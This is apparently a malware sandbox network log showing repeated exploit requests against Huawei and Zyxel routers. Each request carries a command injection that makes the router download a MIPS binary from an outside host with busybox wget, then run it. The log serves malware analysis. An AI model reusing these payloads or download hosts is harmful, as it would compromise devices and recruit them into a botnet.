                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:05.948987961 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:13.628812075 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:20:28.988219976 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>
                                                Nov 23, 2023 05:21:00.731409073 CET874OUTPOST /ctrlt/DeviceUpgrade_1 HTTP/1.1
                                                Content-Length: 430
                                                Connection: keep-alive
                                                Accept: */*
                                                Authorization: Digest username="dslf-config", realm="HuaweiHomeGateway", nonce="88645cefb1f9ede0e336e3569d75ee30", uri="/ctrlt/DeviceUpgrade_1", response="3612f843a42db38f48f59d2a3597e19c", algorithm="MD5", qop="auth", nc=00000001, cnonce="248d1a2560100669"
                                                Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 55 70 67 72 61 64 65 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 50 50 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 24 28 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 37 34 2e 35 30 2e 38 34 2e 32 30 33 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 77 65 62 6f 73 2f 77 68 6f 61 72 65 79 6f 75 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 68 75 61 77 65 69 29 3c 2f 4e 65 77 53 74 61 74 75 73 55 52 4c 3e 3c 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 24 28 65 63 68 6f 20 48 55 41 57 45 49 55 50 4e 50 29 3c 2f 4e 65 77 44 6f 77 6e 6c 6f 61 64 55 52 4c 3e 3c 2f 75 3a 55 70 67 72 61 64 65 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a
                                                Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:Upgrade xmlns:u="urn:schemas-upnp-org:service:WANPPPConnection:1"><NewStatusURL>$(/bin/busybox wget -g 74.50.84.203 -l /tmp/kh -r /webos/whoareyou.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh huawei)</NewStatusURL><NewDownloadURL>$(echo HUAWEIUPNP)</NewDownloadURL></u:Upgrade></s:Body></s:Envelope>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                29192.168.2.154990831.136.72.428080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:58.525979042 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:01.597033978 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:07.740873098 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:19.772445917 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:20:44.351804018 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:21:33.498588085 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                30192.168.2.154936862.29.38.2078080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:58.560179949 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                31192.168.2.154059262.234.196.1168080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:58.674002886 CET416OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
                                                Data Raw: 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 77 67 65 74 20 2d 67 20 31 30 34 2e 31 36 38 2e 31 33 33 2e 35 20 2d 6c 20 2f 74 6d 70 2f 6b 68 20 2d 72 20 2f 62 69 6e 73 2f 68 6f 68 6f 2e 6d 69 70 73 3b 20 2f 62 69 6e 2f 62 75 73 79 62 6f 78 20 63 68 6d 6f 64 20 37 37 37 20 2a 20 2f 74 6d 70 2f 6b 68 3b 20 2f 74 6d 70 2f 6b 68 20 7a 78 79 65 6c
                                                Data Ascii: /bin/busybox wget -g 104.168.133.5 -l /tmp/kh -r /bins/hoho.mips; /bin/busybox chmod 777 * /tmp/kh; /tmp/kh zxyel
                                                Nov 23, 2023 05:19:59.006640911 CET932INHTTP/1.1 404
                                                Content-Type: text/html;charset=utf-8
                                                Content-Language: en
                                                Content-Length: 682
                                                Date: Thu, 23 Nov 2023 04:19:58 GMT
                                                Keep-Alive: timeout=20
                                                Connection: keep-alive
                                                Data Raw: 3c 21 64 6f 63 74 79 70 65 20 68 74 6d 6c 3e 3c 68 74 6d 6c 20 6c 61 6e 67 3d 22 65 6e 22 3e 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 74 69 74 6c 65 3e 3c 73 74 79 6c 65 20 74 79 70 65 3d 22 74 65 78 74 2f 63 73 73 22 3e 62 6f 64 79 20 7b 66 6f 6e 74 2d 66 61 6d 69 6c 79 3a 54 61 68 6f 6d 61 2c 41 72 69 61 6c 2c 73 61 6e 73 2d 73 65 72 69 66 3b 7d 20 68 31 2c 20 68 32 2c 20 68 33 2c 20 62 20 7b 63 6f 6c 6f 72 3a 77 68 69 74 65 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 7d 20 68 31 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 32 32 70 78 3b 7d 20 68 32 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 36 70 78 3b 7d 20 68 33 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 34 70 78 3b 7d 20 70 20 7b 66 6f 6e 74 2d 73 69 7a 65 3a 31 32 70 78 3b 7d 20 61 20 7b 63 6f 6c 6f 72 3a 62 6c 61 63 6b 3b 7d 20 2e 6c 69 6e 65 20 7b 68 65 69 67 68 74 3a 31 70 78 3b 62 61 63 6b 67 72 6f 75 6e 64 2d 63 6f 6c 6f 72 3a 23 35 32 35 44 37 36 3b 62 6f 72 64 65 72 3a 6e 6f 6e 65 3b 7d 3c 2f 73 74 79 6c 65 3e 3c 2f 68 65 61 64 3e 3c 62 6f 64 79 3e 3c 68 31 3e 48 54 54 50 20 53 74 61 74 75 73 20 34 30 34 20 e2 80 93 20 4e 6f 74 20 46 6f 75 6e 64 3c 2f 68 31 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 70 3e 3c 62 3e 54 79 70 65 3c 2f 62 3e 20 53 74 61 74 75 73 20 52 65 70 6f 72 74 3c 2f 70 3e 3c 70 3e 3c 62 3e 44 65 73 63 72 69 70 74 69 6f 6e 3c 2f 62 3e 20 54 68 65 20 6f 72 69 67 69 6e 20 73 65 72 76 65 72 20 64 69 64 20 6e 6f 74 20 66 69 6e 64 20 61 20 63 75 72 72 65 6e 74 20 72 65 70 72 65 73 65 6e 74 61 74 69 6f 6e 20 66 6f 72 20 74 68 65 20 74 61 72 67 65 74 20 72 65 73 6f 75 72 63 65 20 6f 72 20 69 73 20 6e 6f 74 20 77 69 6c 6c 69 6e 67 20 74 6f 20 64 69 73 63 6c 6f 73 65 20 74 68 61 74 20 6f 6e 65 20 65 78 69 73 74 73 2e 3c 2f 70 3e 3c 68 72 20 63 6c 61 73 73 3d 22 6c 69 6e 65 22 20 2f 3e 3c 68 33 3e 41 70 61 63 68 65 20 54 6f 6d 63 61 74 2f 38 2e 35 2e 38 34 3c 2f 68 33 3e 3c 2f 62 6f 64 79 3e 3c 2f 68 74 6d 6c 3e
                                                Data Ascii: <!doctype html><html lang="en"><head><title>HTTP Status 404 Not Found</title><style type="text/css">body {font-family:Tahoma,Arial,sans-serif;} h1, h2, h3, b {color:white;background-color:#525D76;} h1 {font-size:22px;} h2 {font-size:16px;} h3 {font-size:14px;} p {font-size:12px;} a {color:black;} .line {height:1px;background-color:#525D76;border:none;}</style></head><body><h1>HTTP Status 404 Not Found</h1><hr class="line" /><p><b>Type</b> Status Report</p><p><b>Description</b> The origin server did not find a current representation for the target resource or is not willing to disclose that one exists.</p><hr class="line" /><h3>Apache Tomcat/8.5.84</h3></body></html>


                                                Session IDSource IPSource PortDestination IPDestination Port
                                                32192.168.2.154712631.136.72.1868080
                                                TimestampBytes transferredDirectionData
                                                Nov 23, 2023 05:19:58.902019024 CET404OUTPOST /cgi-bin/ViewLog.asp HTTP/1.1
                                                Host: 192.168.0.14:80
                                                Connection: keep-alive
                                                Accept-Encoding: gzip, deflate
                                                Accept: */*
                                                User-Agent: python-requests/2.20.0
                                                Content-Length: 227
                                                Content-Type: application/x-www-form-urlencoded
